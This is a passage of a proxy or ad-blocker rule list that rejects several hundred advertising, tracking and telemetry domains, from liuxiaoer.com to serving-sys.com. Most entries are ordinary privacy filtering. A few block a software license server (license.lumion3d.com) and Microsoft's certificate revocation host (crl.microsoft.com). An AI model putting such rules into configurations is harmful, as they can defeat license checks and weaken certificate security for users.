+host-suffix, xi.liuxiaoer.com, reject +host-suffix, a1.liuxue86.com, reject +host-suffix, c.live.com, reject +host-suffix, rad.live.com, reject +host-suffix, watson.live.com, reject +host-suffix, creatives.livejasmin.com, reject +host-suffix, aff.lmgtfy.com, reject +host-suffix, c6.lnymd.com, reject +host-suffix, z2.lnymd.com, reject +host-suffix, b.localpages.com, reject +host-suffix, feeds.logicbuy.com, reject +host-suffix, a.lolwot.com, reject +host-suffix, e.lovezhishou.com, reject +host-suffix, m.lovezhishou.com, reject +host-suffix, dlimg.lovfp.com, reject +host-suffix, ad.lqalm.com, reject +host-suffix, wm.lrswl.com, reject +host-suffix, a.ltdnc.com, reject +host-suffix, dailydeals.lubbockonline.com, reject +host-suffix, 01daa.lubih.com, reject +host-suffix, 6a4cc.lubue.com, reject +host-suffix, c.lucktui.com, reject +host-suffix, backup.lumion3d.com, reject +host-suffix, license.lumion3d.com, reject +host-suffix, hbdt.luomi.com, reject +host-suffix, 01daa.lutci.com, reject +host-suffix, 01daa.lutgh.com, reject +host-suffix, 6a4cc.luvbq.com, reject +host-suffix, 01daa.luvbr.com, reject +host-suffix, 6a4cc.luvbr.com, reject +host-suffix, oas.luxweb.com, reject +host-suffix, 01daa.luytr.com, reject +host-suffix, 6a4cc.luytr.com, reject +host-suffix, engine.lvehaisen.com, reject +host-suffix, yun.lvehaisen.com, reject +host-suffix, a.lwinl.com, reject +host-suffix, tx.lwinl.com, reject +host-suffix, adbuyer3.lycos.com, reject +host-suffix, cm8.lycos.com, reject +host-suffix, oascentral.lycos.com, reject +host-suffix, ratings.lycos.com, reject +host-suffix, client.sidesearch.lycos.com, reject +host-suffix, install.sidesearch.lycos.com, reject +host-suffix, guestworld.tripod.lycos.com, reject +host-suffix, titan.guestworld.tripod.lycos.com, reject +host-suffix, tjf.lyhuayun.com, reject +host-suffix, e.lyjz001.com, reject +host-suffix, m.lyjz001.com, reject +host-suffix, do.lymstsc.com, reject +host-suffix, ad.lyricswire.com, reject +host-suffix, m.lzida.com, reject +host-suffix, e.lzytt.com, reject +host-suffix, m.lzytt.com, reject +host-suffix, afp.m1905.com, reject +host-suffix, counter.m1905.com, reject +host-suffix, p.m5bn.com, reject +host-suffix, exit.macandbumble.com, reject +host-suffix, union.maccms.com, reject +host-suffix, download.mackeeper.com, reject +host-suffix, event.mackeeper.com, reject +host-suffix, mackeeperapp.mackeeper.com, reject +host-suffix, kermit.macnn.com, reject +host-suffix, fpdownload.macromedia.com, reject +host-suffix, ad.madserving.com, reject +host-suffix, adv.madserving.com, reject +host-suffix, appsrv1.madserving.com, reject +host-suffix, appsrv4.madserving.com, reject +host-suffix, clk.madserving.com, reject +host-suffix, imp.madserving.com, reject +host-suffix, clk.pdb.madserving.com, reject +host-suffix, imp.pdb.madserving.com, reject +host-suffix, brcache.madthumbs.com, reject +host-suffix, delivery.maihehd.com, reject +host-suffix, mass.mall044.com, reject +host-suffix, vip.mall044.com, reject +host-suffix, adsapi.manhuaren.com, reject +host-suffix, notice.uchome.manyou.com, reject +host-suffix, m.maopuzw.com, reject +host-suffix, aff.marathonbet.com, reject +host-suffix, ag-gb.marketgid.com, reject +host-suffix, cdn.marketgid.com, reject +host-suffix, counter.marketgid.com, reject +host-suffix, imgg.marketgid.com, reject +host-suffix, jsc.marketgid.com, reject +host-suffix, wsp.marketgid.com, reject +host-suffix, asia.marketo.com, reject +host-suffix, pages2.marketo.com, reject +host-suffix, pixel.mathtag.com, reject +host-suffix, sync.mathtag.com, reject +host-suffix, on.maxspeedcdn.com, reject +host-suffix, dl.mbsea.com, reject +host-suffix, a.mct01.com, reject +host-suffix, at.mct01.com, reject +host-suffix, cm.mct01.com, reject +host-suffix, e.md0z4dh.com, reject +host-suffix, uid.mdbchina.com, reject +host-suffix, cdn.mdotm.com, reject +host-suffix, karma.mdpcdn.com, reject +host-suffix, px.media-serving.com, reject +host-suffix, map.media6degrees.com, reject +host-suffix, act2.mediafour.com, reject +host-suffix, download.mediaget.com, reject +host-suffix, ld.mediaget.com, reject +host-suffix, adfarm.mediaplex.com, reject +host-suffix, secure.img-cdn.mediaplex.com, reject +host-suffix, s.meimeidaren.com, reject +host-suffix, f1.meishichina.com, reject +host-suffix, corp.meitu.com, reject +host-suffix, gg.meitu.com, reject +host-suffix, message.meitu.com, reject +host-suffix, tuiguang.meitu.com, reject +host-suffix, xiuxiu.android.dl.meitu.com, reject +host-suffix, adui.tg.meitu.com, reject +host-suffix, rabbit.tg.meitu.com, reject +host-suffix, meitubeauty.meitudata.com, reject +host-suffix, xiuxiu.mobile.meitudata.com, reject +host-suffix, dc.meitustat.com, reject +host-suffix, mdc.meitustat.com, reject +host-suffix, rabbit.meitustat.com, reject +host-suffix, e.meizhuanghe.com, reject +host-suffix, aider-res.meizu.com, reject +host-suffix, api-game.meizu.com, reject +host-suffix, api-push.meizu.com, reject +host-suffix, cal.meizu.com, reject +host-suffix, game-res.meizu.com, reject +host-suffix, infocenter.meizu.com, reject +host-suffix, openapi-news.meizu.com, reject +host-suffix, reader.meizu.com, reject +host-suffix, tongji-res1.meizu.com, reject +host-suffix, uxip.meizu.com, reject +host-suffix, umid.orion.meizu.com, reject +host-suffix, ebook.res.meizu.com, reject +host-suffix, game.res.meizu.com, reject +host-suffix, push.res.meizu.com, reject +host-suffix, reader.res.meizu.com, reject +host-suffix, upush.res.meizu.com, reject +host-suffix, img1.mekbet.com, reject +host-suffix, js6882.mengchengbao.com, reject +host-suffix, js7405.mengchengbao.com, reject +host-suffix, zs0613.mengchengbao.com, reject +host-suffix, in.mengpr.com, reject +host-suffix, ad.mesomorphosis.com, reject +host-suffix, c.metrigo.com, reject +host-suffix, rtb.metrigo.com, reject +host-suffix, 1.mgff.com, reject +host-suffix, aa-gb.mgid.com, reject +host-suffix, ab-gb.mgid.com, reject +host-suffix, ac-gb.mgid.com, reject +host-suffix, ad-gb.mgid.com, reject +host-suffix, ae-gb.mgid.com, reject +host-suffix, aj-gb.mgid.com, reject +host-suffix, imgg.mgid.com, reject +host-suffix, jsc.mgid.com, reject +host-suffix, usr.mgid.com, reject +host-suffix, aa.goodsblock.mgid.com, reject +host-suffix, ab.goodsblock.mgid.com, reject +host-suffix, m.mgogo.com, reject +host-suffix, m1.mgogo.com, reject +host-suffix, in.mgwcn.com, reject +host-suffix, rc.mgwcn.com, reject +host-suffix, s.mgwcn.com, reject +host-suffix, ad.mi.com, reject +host-suffix, staging.admin.e.mi.com, reject +host-suffix, migc.g.mi.com, reject +host-suffix, migcreport.g.mi.com, reject +host-suffix, mis.g.mi.com, reject +host-suffix, mivideo.g.mi.com, reject +host-suffix, a.hl.mi.com, reject +host-suffix, api.jr.mi.com, reject +host-suffix, a.union.mi.com, reject +host-suffix, resolver.gslb.mi-idc.com, reject +host-suffix, f3.mi-stat.gslb.mi-idc.com, reject +host-suffix, app01.nodes.gslb.mi-idc.com, reject +host-suffix, app02.nodes.gslb.mi-idc.com, reject +host-suffix, e.miaoxinqipei.com, reject +host-suffix, m.miaoxinqipei.com, reject +host-suffix, d-cache.microad-cn.com, reject +host-suffix, d-track.send.microad-cn.com, reject +host-suffix, dsp.send.microad-cn.com, reject +host-suffix, crl.microsoft.com, reject +host-suffix, ieonline.microsoft.com, reject +host-suffix, rad.microsoft.com, reject +host-suffix, watson.microsoft.com, reject +host-suffix, hz.miercn.com, reject +host-suffix, e.miiuv.com, reject +host-suffix, m.miiuv.com, reject +host-suffix, cdn.millennialmedia.com, reject +host-suffix, images.millennialmedia.com, reject +host-suffix, cdn.mingmingtehui.com, reject +host-suffix, s1.mingmingtehui.com, reject +host-suffix, s2.mingmingtehui.com, reject +host-suffix, wm.mipcdn.com, reject +host-suffix, zzy.mipujia.com, reject +host-suffix, zzy1.mipujia.com, reject +host-suffix, ss.missyouxi.com, reject +host-suffix, tracking.miui.com, reject +host-suffix, hot.browser.miui.com, reject +host-suffix, r.browser.miui.com, reject +host-suffix, reader.browser.miui.com, reject +host-suffix, security.browser.miui.com, reject +host-suffix, calopenupdate.comm.miui.com, reject +host-suffix, tracking.intl.miui.com, reject +host-suffix, adv.sec.intl.miui.com, reject +host-suffix, adv.sec.miui.com, reject +host-suffix, api.sec.miui.com, reject +host-suffix, info.sec.miui.com, reject +host-suffix, proxy.sec.miui.com, reject +host-suffix, logupdate.avlyun.sec.miui.com, reject +host-suffix, update.avlyun.sec.miui.com, reject +host-suffix, etl.xlmc.sec.miui.com, reject +host-suffix, adinfo.ra1.xlmc.sec.miui.com, reject +host-suffix, api.ra2.xlmc.sec.miui.com, reject +host-suffix, api.tw06.xlmc.sec.miui.com, reject +host-suffix, metok.sys.miui.com, reject +host-suffix, api.xk.miui.com, reject +host-suffix, fb.xk.miui.com, reject +host-suffix, m.miupp.com, reject +host-suffix, ttts.miyue17.com, reject +host-suffix, c.mkmp365.com, reject +host-suffix, da.mmarket.com, reject +host-suffix, e.mmkvi.com, reject +host-suffix, m.mmkvi.com, reject +host-suffix, ac.mmstat.com, reject +host-suffix, go.mmstat.com, reject +host-suffix, gxb.mmstat.com, reject +host-suffix, hz.mmstat.com, reject +host-suffix, p3p.mmstat.com, reject +host-suffix, res.mmstat.com, reject +host-suffix, yt.mmstat.com, reject +host-suffix, add.mmyuer.com, reject +host-suffix, fpb.mn586.com, reject +host-suffix, fpbjiansuo.mn586.com, reject +host-suffix, jb.mnkan.com, reject +host-suffix, js.mnkan.com, reject +host-suffix, ad.mnt123.com, reject +host-suffix, geo.moatads.com, reject +host-suffix, js.moatads.com, reject +host-suffix, px.moatads.com, reject +host-suffix, z.moatads.com, reject +host-suffix, cca.mob.com, reject +host-suffix, api.cmt.mob.com, reject +host-suffix, c.data.mob.com, reject +host-suffix, devs.data.mob.com, reject +host-suffix, m.data.mob.com, reject +host-suffix, api.exc.mob.com, reject +host-suffix, api.share.mob.com, reject +host-suffix, my.mobfox.com, reject +host-suffix, api.mobgi.com, reject +host-suffix, applog.mobike.com, reject +host-suffix, track-east.mobileadtrading.com, reject +host-suffix, debugreport.mobiledissector.com, reject +host-suffix, apps.mobilityware.com, reject +host-suffix, c.mobishu.com, reject +host-suffix, cdn0.mobmore.com, reject +host-suffix, ex.mobmore.com, reject +host-suffix, dontblockme.modaco.com, reject +host-suffix, a6s.modoupai.com, reject +host-suffix, traffic.mogujie.com, reject +host-suffix, adlaunch.moji.com, reject +host-suffix, cdn.moji.com, reject +host-suffix, ad.api.moji.com, reject +host-suffix, fds.api.moji.com, reject +host-suffix, v1.log.moji.com, reject +host-suffix, app.moji001.com, reject +host-suffix, ugc.moji001.com, reject +host-suffix, cdn.moji002.com, reject +host-suffix, cdn2.moji002.com, reject +host-suffix, ads.mojicdn.com, reject +host-suffix, xfo.monesyy.com, reject +host-suffix, api.moogos.com, reject +host-suffix, c3.moogos.com, reject +host-suffix, cdn.moogos.com, reject +host-suffix, rcv.moogos.com, reject +host-suffix, gmtdmp.mookie1.com, reject +host-suffix, ru-gmtdmp.mookie1.com, reject +host-suffix, eu-gmtdmp.gd1.mookie1.com, reject +host-suffix, pub.mop.com, reject +host-suffix, union.mop.com, reject +host-suffix, cc.moquanad.com, reject +host-suffix, mm.moquanad.com, reject +host-suffix, n.a.mosenni.com, reject +host-suffix, m.mouaa.com, reject +host-suffix, 846.move7.com, reject +host-suffix, w6061.move7.com, reject +host-suffix, e.mozist.com, reject +host-suffix, config2.mparticle.com, reject +host-suffix, e.mqgpo.com, reject +host-suffix, m.mqgpo.com, reject +host-suffix, e.mrsasharingspace.com, reject +host-suffix, e.mrtuo.com, reject +host-suffix, m.mrtuo.com, reject +host-suffix, cz01016102.ms758.com, reject +host-suffix, ac2.msn.com, reject +host-suffix, ac3.msn.com, reject +host-suffix, adsyndication.msn.com, reject +host-suffix, c.msn.com, reject +host-suffix, h.msn.com, reject +host-suffix, mobileads.msn.com, reject +host-suffix, otf.msn.com, reject +host-suffix, popup.msn.com, reject +host-suffix, r.msn.com, reject +host-suffix, rad.msn.com, reject +host-suffix, rmads.msn.com, reject +host-suffix, toolbar.msn.com, reject +host-suffix, udc.msn.com, reject +host-suffix, unicast.msn.com, reject +host-suffix, a.ads1.msn.com, reject +host-suffix, b.ads1.msn.com, reject +host-suffix, a.ads2.msn.com, reject +host-suffix, rmads.eu.msn.com, reject +host-suffix, 0.r.msn.com, reject +host-suffix, catalog.video.msn.com, reject +host-suffix, s.mt145.com, reject +host-suffix, f5.mtqys.com, reject +host-suffix, m.mtuoa.com, reject +host-suffix, affil.mupromo.com, reject +host-suffix, e.mushizhubao.com, reject +host-suffix, m.mushizhubao.com, reject +host-suffix, keystone.mwbsys.com, reject +host-suffix, m.mxguan.com, reject +host-suffix, icons.mydrivers.com, reject +host-suffix, xc.mydrivers.com, reject +host-suffix, mibook-10006092.cos.myqcloud.com, reject +host-suffix, redpaper-10006092.cos.myqcloud.com, reject +host-suffix, cndjs-1251973891.coshk.myqcloud.com, reject +host-suffix, moren-1252794300.file.myqcloud.com, reject +host-suffix, gafxa.code.mytanwan.com, reject +host-suffix, ldpgl.code.mytanwan.com, reject +host-suffix, pop.code.mytanwan.com, reject +host-suffix, sy.code.mytanwan.com, reject +host-suffix, sy.flash.mytanwan.com, reject +host-suffix, 2017img.myxh999.com, reject +host-suffix, ms.myyage.com, reject +host-suffix, njs.myyage.com, reject +host-suffix, adm.myzaker.com, reject +host-suffix, ggs.myzaker.com, reject +host-suffix, push-android.myzaker.com, reject +host-suffix, nwejs.myzcoffice.com, reject +host-suffix, aries.mzres.com, reject +host-suffix, same.mzy2014.com, reject +host-suffix, vi0.mzy2014.com, reject +host-suffix, vi1.mzy2014.com, reject +host-suffix, a.nanhuwang.com, reject +host-suffix, cyad1.nate.com, reject +host-suffix, ad.naver.com, reject +host-suffix, adcr.naver.com, reject +host-suffix, adcreative.naver.com, reject +host-suffix, mps.nbcuni.com, reject +host-suffix, cdn.ndapp.com, reject +host-suffix, e.nduop.com, reject +host-suffix, m.nduop.com, reject +host-suffix, l9bdhcgihw.neihanw.com, reject +host-suffix, e.neijh.com, reject +host-suffix, m.neijh.com, reject +host-suffix, e.nejup.com, reject +host-suffix, m.nejup.com, reject +host-suffix, e.nernv.com, reject +host-suffix, m.nernv.com, reject +host-suffix, ad.bn.netease.com, reject +host-suffix, mr.da.netease.com, reject +host-suffix, pr.da.netease.com, reject +host-suffix, rd.da.netease.com, reject +host-suffix, wr.da.netease.com, reject +host-suffix, rc2waycm-atl.netmng.com, reject +host-suffix, cm.netseer.com, reject +host-suffix, data.neuroxmedia.com, reject +host-suffix, cdn.newapi.com, reject +host-suffix, api.newbelden.com, reject +host-suffix, ad.newegg.com, reject +host-suffix, cash.neweramediaworks.com, reject +host-suffix, js-agent.newrelic.com, reject +host-suffix, oascentral.newsmax.com, reject +host-suffix, e.nexac.com, reject +host-suffix, tw.adx.nextmedia.com, reject +host-suffix, e.nfkos.com, reject +host-suffix, m.nfkos.com, reject +host-suffix, m.niegg.com, reject +host-suffix, sams.nikonimaging.com, reject +host-suffix, c.ningbojipiao.com, reject +host-suffix, bd1.nipic.com, reject +host-suffix, bd2.nipic.com, reject +host-suffix, p.niudashu.com, reject +host-suffix, rjs.niuxgame77.com, reject +host-suffix, jiu.njdkgm.com, reject +host-suffix, tu.njflfd.com, reject +host-suffix, access.njherald.com, reject +host-suffix, jyc.njxczy.com, reject +host-suffix, e.nmtouzi.com, reject +host-suffix, m.nmtouzi.com, reject +host-suffix, e.nnfiy.com, reject +host-suffix, m.nnfiy.com, reject +host-suffix, zlsw.nnjxqd.com, reject +host-suffix, m.nouaa.com, reject +host-suffix, a.nowscore.com, reject +host-suffix, z.nowscore.com, reject +host-suffix, u034024.nr1234.com, reject +host-suffix, u291014.nr1234.com, reject +host-suffix, c.ns8d.com, reject +host-suffix, m.nthtcs.com, reject +host-suffix, jsjs.nthyn.com, reject +host-suffix, tqd.ntpddq.com, reject +host-suffix, m.ntxiangtai.com, reject +host-suffix, b.nvrentao8.com, reject +host-suffix, e.nwxzs.com, reject +host-suffix, m.nwxzs.com, reject +host-suffix, dl.nx5.com, reject +host-suffix, cdn1.res.nx5.com, reject +host-suffix, e.nxypz.com, reject +host-suffix, m.nxypz.com, reject +host-suffix, kn.nykps.com, reject +host-suffix, e.oesnw.com, reject +host-suffix, m.oesnw.com, reject +host-suffix, e.okfhn.com, reject +host-suffix, jack.okkkk.com, reject +host-suffix, rosi.okkkk.com, reject +host-suffix, go.onclasrv.com, reject +host-suffix, code11.onetad.com, reject +host-suffix, code12.onetad.com, reject +host-suffix, pic1.onetad.com, reject +host-suffix, pic2.onetad.com, reject +host-suffix, pic3.onetad.com, reject +host-suffix, pic8.onetad.com, reject +host-suffix, ww10.onetad.com, reject +host-suffix, ww101.onetad.com, reject +host-suffix, ww11.onetad.com, reject +host-suffix, ww12.onetad.com, reject +host-suffix, ww13.onetad.com, reject +host-suffix, ww202.onetad.com, reject +host-suffix, ww34.onetad.com, reject +host-suffix, ww346.onetad.com, reject +host-suffix, ww360.onetad.com, reject +host-suffix, ww363.onetad.com, reject +host-suffix, ww366.onetad.com, reject +host-suffix, ww78.onetad.com, reject +host-suffix, ww8.onetad.com, reject +host-suffix, ww9.onetad.com, reject +host-suffix, wwv.onetad.com, reject +host-suffix, dailydeals.onlineathens.com, reject +host-suffix, btn.onlylady.com, reject +host-suffix, groupa.onlylady.com, reject +host-suffix, olpv.onlylady.com, reject +host-suffix, olpvimg.onlylady.com, reject +host-suffix, olstats.onlylady.com, reject +host-suffix, adx.open-adx.com, reject +host-suffix, adsor.openrunner.com, reject +host-suffix, adsfs.oppomobile.com, reject +host-suffix, imagzine.oppomobile.com, reject +host-suffix, i.flow.browser.oppomobile.com, reject +host-suffix, httpdns.push.oppomobile.com, reject +host-suffix, e.opqsr.com, reject +host-suffix, m.opqsr.com, reject +host-suffix, cdn.optaim.com, reject +host-suffix, clk.optaim.com, reject +host-suffix, imp.optaim.com, reject +host-suffix, tk.optaim.com, reject +host-suffix, partners.optiontide.com, reject +host-suffix, t.oq68.com, reject +host-suffix, v.oq68.com, reject +host-suffix, m.osndy.com, reject +host-suffix, msg.c002.ottcn.com, reject +host-suffix, ezine.oupeng.com, reject +host-suffix, img-ad.oupeng.com, reject +host-suffix, notify.oupeng.com, reject +host-suffix, startup.oupeng.com, reject +host-suffix, c.bxb.oupeng.com, reject +host-suffix, r.bxb.oupeng.com, reject +host-suffix, m.ourlj.com, reject +host-suffix, apps.outfit7.com, reject +host-suffix, apps2.outfit7.com, reject +host-suffix, cdn.outfit7.com, reject +host-suffix, cdn-gcs.outfit7.com, reject +host-suffix, ad.outsidehub.com, reject +host-suffix, q.ox11.com, reject +host-suffix, e.oyrim.com, reject +host-suffix, m.oyrim.com, reject +host-suffix, ew16d.package12.com, reject +host-suffix, wx.paigu.com, reject +host-suffix, promote.pair.com, reject +host-suffix, adserver.pandora.com, reject +host-suffix, c.panqishu.com, reject +host-suffix, geobanner.passion.com, reject +host-suffix, e.pbino.com, reject +host-suffix, m.pbino.com, reject +host-suffix, yyb.pc6.com, reject +host-suffix, 33.pcpop.com, reject +host-suffix, ashow.pcpop.com, reject +host-suffix, count.pcpop.com, reject +host-suffix, bannershotlink.perfectgonzo.com, reject +host-suffix, m.phonthing.com, reject +host-suffix, init.phpwind.com, reject +host-suffix, nt.phpwind.com, reject +host-suffix, s.phpwind.com, reject +host-suffix, j1.piaobing.com, reject +host-suffix, pic.pic-img.com, reject +host-suffix, e.picbr.com, reject +host-suffix, m.picbr.com, reject +host-suffix, creatives.pichunter.com, reject +host-suffix, m.pieaa.com, reject +host-suffix, f1.pig66.com, reject +host-suffix, iia1.pikacn.com, reject +host-suffix, events.pingan.com, reject +host-suffix, vip.pinghuhome.com, reject +host-suffix, api.pingstart.com, reject +host-suffix, t.pingzei.com, reject +host-suffix, bd1.pipaw.com, reject +host-suffix, bd2.pipaw.com, reject +host-suffix, pixel-hk.pixelinteractivemedia.com, reject +host-suffix, r.pixgold.com, reject +host-suffix, h5.pk1179.com, reject +host-suffix, delivery.playallvideos.com, reject +host-suffix, pei-ads.playboy.com, reject +host-suffix, banners.playocio.com, reject +host-suffix, e.plerv.com, reject +host-suffix, m.plerv.com, reject +host-suffix, click-cn.plista.com, reject +host-suffix, farm-cn.plista.com, reject +host-suffix, static8.pmadx.com, reject +host-suffix, lol.pnhfc.com, reject +host-suffix, ft.pnop.com, reject +host-suffix, e.pomkl.com, reject +host-suffix, m.pomkl.com, reject +host-suffix, e.poonscn.com, reject +host-suffix, m.poonscn.com, reject +host-suffix, cdn.popmyads.com, reject +host-suffix, delivery.porn.com, reject +host-suffix, partners.pornerbros.com, reject +host-suffix, banner1.pornhost.com, reject +host-suffix, cams.pornrabbit.com, reject +host-suffix, m.pougg.com, reject +host-suffix, sub.powerapple.com, reject +host-suffix, px.powerlinks.com, reject +host-suffix, jtug.code.poyang.com, reject +host-suffix, pb.sys.pp8.com, reject +host-suffix, afp.pplive.com, reject +host-suffix, gas.data.pplive.com, reject +host-suffix, plt.data.pplive.com, reject +host-suffix, web.data.pplive.com, reject +host-suffix, pp2.pptv.com, reject +host-suffix, stat.pptv.com, reject +host-suffix, ads.aplus.pptv.com, reject +host-suffix, app.aplus.pptv.com, reject +host-suffix, as.aplus.pptv.com, reject +host-suffix, ads.aplusapi.pptv.com, reject +host-suffix, de.as.pptv.com, reject +host-suffix, jp.as.pptv.com, reject +host-suffix, static.g.pptv.com, reject +host-suffix, dm.ppzuowen.com, reject +host-suffix, partner.premiumHOSTs.com, reject +host-suffix, ad.propellerads.com, reject +host-suffix, dm.pstatp.com, reject +host-suffix, pb3.pstatp.com, reject +host-keyword, s3a.pstatp.com, reject +host-suffix, gg.ptfish.com, reject +host-suffix, js.ptmind.com, reject +host-suffix, e.pubbirdf.com, reject +host-suffix, m.pubbirdf.com, reject +host-suffix, e.puooi.com, reject +host-suffix, m.puooi.com, reject +host-suffix, pl108258.puserving.com, reject +host-suffix, pl14369502.puserving.com, reject +host-suffix, b92.putniktravel.com, reject +host-suffix, wqqsa.puzihua.com, reject +host-suffix, e.pwjhg.com, reject +host-suffix, m.pwjhg.com, reject +host-suffix, ip2.pxene.com, reject +host-suffix, pic.pxstda.com, reject +host-suffix, dip.pyangzi.com, reject +host-suffix, js.pyangzi.com, reject +host-suffix, e.pyerc.com, reject +host-suffix, m.pyerc.com, reject +host-suffix, m.qcw.com, reject +host-suffix, img.qdscgj.com, reject +host-suffix, img2.qekun.com, reject +host-suffix, kn.qhdfxkj.com, reject +host-suffix, guess.h.qhimg.com, reject +host-suffix, top.h.qhimg.com, reject +host-suffix, jspassport.ssl.qhimg.com, reject +host-suffix, top.h.qhmsg.com, reject +host-suffix, m.qhuik.com, reject +host-suffix, hs.qhupdate.com, reject +host-suffix, res.qhupdate.com, reject +host-suffix, s.qhupdate.com, reject +host-suffix, p.qiailm.com, reject +host-suffix, download.qianka.com, reject +host-suffix, m.qianka.com, reject +host-suffix, jsb.qianzhan.com, reject +host-suffix, a.qiao024.com, reject +host-suffix, e.qiaoyuwang.com, reject +host-suffix, undm.qibulo.com, reject +host-suffix, cj.qidian.com, reject +host-suffix, game.qidian.com, reject +host-suffix, o.if.qidian.com, reject +host-suffix, haostat.qihoo.com, reject +host-suffix, sh.qihoo.com, reject +host-suffix, s.sh.qihoo.com, reject +host-suffix, u.qijipc.com, reject +host-suffix, a.qinghua5.com, reject +host-suffix, 22.qingsongbar.com, reject +host-suffix, s.qd.qingtingfm.com, reject +host-suffix, j.qiqivv.com, reject +host-suffix, j.qiqiww.com, reject +host-suffix, s1.qiqutt.com, reject +host-suffix, t.qiuqiuqipai.com, reject +host-suffix, becode.qiushibaike.com, reject +host-suffix, e.qiyunmuye.com, reject +host-suffix, m.qiyunmuye.com, reject +host-suffix, image.qj175.com, reject +host-suffix, img.qqgeshou.com, reject +host-suffix, kn.qqqmdq.com, reject +host-suffix, hao.qquu8.com, reject +host-suffix, vip.qqxwf.com, reject +host-suffix, dpvc1.qqyy.com, reject +host-suffix, dpvc2.qqyy.com, reject +host-suffix, dpvchos.qqyy.com, reject +host-suffix, dpvcimg.qqyy.com, reject +host-suffix, e.qsove.com, reject +host-suffix, m.qsove.com, reject +host-suffix, cms.quantserve.com, reject +host-suffix, edge.quantserve.com, reject +host-suffix, pixel.quantserve.com, reject +host-suffix, secure.quantserve.com, reject +host-suffix, m.qulishi.com, reject +host-suffix, apt.qumi.com, reject +host-suffix, cut.qumi.com, reject +host-suffix, exp.qumi.com, reject +host-suffix, m.qusub.com, reject +host-suffix, hl.quw18.com, reject +host-suffix, zzy1.quyaoya.com, reject +host-suffix, e.qvxyz.com, reject +host-suffix, m.qvxyz.com, reject +host-suffix, iadc.qwapi.com, reject +host-suffix, iadctest.qwapi.com, reject +host-suffix, xco.qwxcs.com, reject +host-suffix, xji.qwxcs.com, reject +host-suffix, show.qx15.com, reject +host-suffix, e.qxfly.com, reject +host-suffix, adimg.qxlsjw.com, reject +host-suffix, t75.qyqc4s.com, reject +host-suffix, money.qz828.com, reject +host-suffix, kn.qzdaren.com, reject +host-suffix, gog9.qzdfc.com, reject +host-suffix, in.qzkxt.com, reject +host-suffix, s.qzkxt.com, reject +host-suffix, widget.raaze.com, reject +host-suffix, net.rayjump.com, reject +host-suffix, setting.rayjump.com, reject +host-suffix, ad.reachlocal.com, reject +host-suffix, br.realitykings.com, reject +host-suffix, imads.rediff.com, reject +host-suffix, api.rees46.com, reject +host-suffix, ad.reklamport.com, reject +host-suffix, njs.reliancevalve.com, reject +host-suffix, 1.rengshu.com, reject +host-suffix, 2.rengshu.com, reject +host-suffix, qlmho.renhengshangmao.com, reject +host-suffix, ebp.renren.com, reject +host-suffix, jebe.renren.com, reject +host-suffix, bolt.jebe.renren.com, reject +host-suffix, cupid.jebe.renren.com, reject +host-suffix, shaft.jebe.renren.com, reject +host-suffix, xray.jebe.renren.com, reject +host-suffix, weixin.renrenying.com, reject +host-suffix, rs1.rensheng5.com, reject +host-suffix, sync.republer.com, reject +host-suffix, e.resmv.com, reject +host-suffix, srv.revdepo.com, reject +host-suffix, tags4.revdepo.com, reject +host-suffix, cdn1.srv.revdepo.com, reject +host-suffix, c.rexuebi.com, reject +host-suffix, d.rexuebi.com, reject +host-suffix, p.rfihub.com, reject +host-suffix, m.rhcapass.com, reject +host-suffix, e.ricpt.com, reject +host-suffix, m.ricpt.com, reject +host-suffix, b.rifub.com, reject +host-suffix, cdn.sp.rizhao9.com, reject +host-suffix, prc.rjje4.com, reject +host-suffix, e.rmwdn.com, reject +host-suffix, m.rmwdn.com, reject +host-suffix, partners.rochen.com, reject +host-suffix, utility.rogersmedia.com, reject +host-suffix, e.romgv.com, reject +host-suffix, m.romgv.com, reject +host-suffix, midas.rong360.com, reject +host-suffix, rk.rongchengxxw.com, reject +host-suffix, s3.rongnews.com, reject +host-suffix, fozhu.rrsdl.com, reject +host-suffix, heimo.rrsdl.com, reject +host-suffix, kuaigao.rrsdl.com, reject +host-suffix, m.rrsdl.com, reject +host-suffix, streaming.rtbiddingplatform.com, reject +host-suffix, beacon-us-sjc1.rubiconproject.com, reject +host-suffix, eus.rubiconproject.com, reject +host-suffix, optimized-by.rubiconproject.com, reject +host-suffix, pixel.rubiconproject.com, reject +host-suffix, secure-assets.rubiconproject.com, reject +host-suffix, tap.rubiconproject.com, reject +host-suffix, tap-cdn.rubiconproject.com, reject +host-suffix, tap-t.rubiconproject.com, reject +host-suffix, token.rubiconproject.com, reject +host-suffix, usync.aws.rubiconproject.com, reject +host-suffix, sensorsdata.ruguoapp.com, reject +host-suffix, abc.ruiwen.com, reject +host-suffix, d.ruiwen.com, reject +host-suffix, js.ruiwen.com, reject +host-suffix, match.rundsp.com, reject +host-suffix, a6s.ruyiqufu.com, reject +host-suffix, sponsors.s2ki.com, reject +host-suffix, pb.s3wfg.com, reject +host-suffix, adp.s8bbs.com, reject +host-suffix, adv.s8bbs.com, reject +host-suffix, attach.s8bbs.com, reject +host-suffix, content.s8bbs.com, reject +host-suffix, img.s8bbs.com, reject +host-suffix, g.s8dj.com, reject +host-suffix, s1.s8tu.com, reject +host-suffix, news.s9377.com, reject +host-suffix, js.saiqizhi.com, reject +host-suffix, mealsandsteals.sandiego6.com, reject +host-suffix, lkf1.m.sanhao3.com, reject +host-suffix, e.sanitwealth.com, reject +host-suffix, m.sanitwealth.com, reject +host-suffix, m.sanjiangge.com, reject +host-suffix, qd.js.sanjiangge.com, reject +host-suffix, dm.sanwen8.com, reject +host-suffix, ak.sascdn.com, reject +host-suffix, ced.sascdn.com, reject +host-suffix, dailydeals.savannahnow.com, reject +host-suffix, dm.sb580.com, reject +host-suffix, m.sbenx.com, reject +host-suffix, m.sbinx.com, reject +host-suffix, affiliatesmedia.sbobet.com, reject +host-suffix, ab.sc115.com, reject +host-suffix, j.sc1369.com, reject +host-suffix, cdn.scdng.com, reject +host-suffix, b.scorecardresearch.com, reject +host-suffix, sb.scorecardresearch.com, reject +host-suffix, udm.scorecardresearch.com, reject +host-suffix, adsremote.scrippsnetworks.com, reject +host-suffix, aam.adsremote.scrippsnetworks.com, reject +host-suffix, img.scupio.com, reject +host-suffix, sc.sczxy.com, reject +host-suffix, pm.sdaiv.com, reject +host-suffix, tskdfjksldk.sdhsgcj.com, reject +host-suffix, adrs.sdo.com, reject +host-suffix, j.sdqoi2d.com, reject +host-suffix, guang.sdsgwy.com, reject +host-suffix, p.sdu8cvc.com, reject +host-suffix, widget.searchschoolsnetwork.com, reject +host-suffix, dailyvideo.securejoin.com, reject +host-suffix, ad.seeyouyima.com, reject +host-suffix, cdn-settings.segment.com, reject +host-suffix, mobile-service.segment.com, reject +host-suffix, activity.serving-sys.com, reject +host-suffix, 